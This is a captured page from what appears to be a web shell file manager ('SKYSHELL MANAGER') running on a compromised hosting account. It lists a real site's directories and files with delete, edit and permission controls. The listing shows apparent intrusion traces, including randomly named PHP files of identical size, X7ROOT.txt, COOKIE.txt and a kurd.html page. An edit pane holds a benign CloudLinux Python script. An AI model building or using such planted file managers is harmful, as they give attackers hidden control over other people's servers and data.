📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: nodevenv.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import print_function from __future__ import division from __future__ import absolute_import import getopt import os import shutil import sys from clselect.utils import mkdir_p WRAP_LIST = [ ['node', []], ['npm', []], ] SET_ENV_SCRIPT = 'set_env_vars.py' ACTIVATE_SCRIPT = 'activate' NODE_WRAPPER = 'node_wrapper' NPM_WRAPPER = 'npm_wrapper' NODE = 'node' NPM = 'npm' BIN_DIR = '/usr/share/l.v.e-manager/utils/' def fail_with(msg, exit_code=1): print(msg, file=sys.stderr) exit(exit_code) def create(destination, node=None, destroy_first=False): destination = os.path.expanduser(destination) venv_bin = os.path.join(destination, 'bin') if destroy_first: try: shutil.rmtree(os.path.join(destination, 'bin')) except (IOError, OSError): pass mkdir_p(venv_bin) set_env_script_abs = os.path.join(venv_bin, SET_ENV_SCRIPT) activate_abs = os.path.join(venv_bin, ACTIVATE_SCRIPT) node_wrapper_abs = os.path.join(venv_bin, NODE) npm_wrapper_abs = os.path.join(venv_bin, NPM) link_set_env_script = os.path.join(BIN_DIR, SET_ENV_SCRIPT) link_activate_path = os.path.join(BIN_DIR, ACTIVATE_SCRIPT) link_node_path = os.path.join(BIN_DIR, NODE_WRAPPER) link_npm_path = os.path.join(BIN_DIR, NPM_WRAPPER) os.symlink(link_activate_path, activate_abs) os.symlink(link_set_env_script, set_env_script_abs) os.symlink(link_node_path, node_wrapper_abs) os.symlink(link_npm_path, npm_wrapper_abs) def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'n:r', ['node=', 'recreate-bin']) except getopt.GetoptError as err: print(str(err)) usage() sys.exit(1) node = None destroy_first = False if not args: print('no destination specified') usage() sys.exit(1) destination = args[0] for o, a in opts: if o in ('-n', '--node'): node = a elif o in ('-r', '--recreate-bin'): destroy_first = True else: print('unhandled option') sys.exit(1) try: create(destination, node, destroy_first=destroy_first) except OSError as e: fail_with(e.strerror) def usage(): print('Usage: ' + sys.argv[0] + ' [OPTIONS] VENV') print() print('Options:') print(' -n, --node PATH Node interpreter to use to create new venv') print(' -h, --help Show this message') if __name__ == '__main__': main()
Save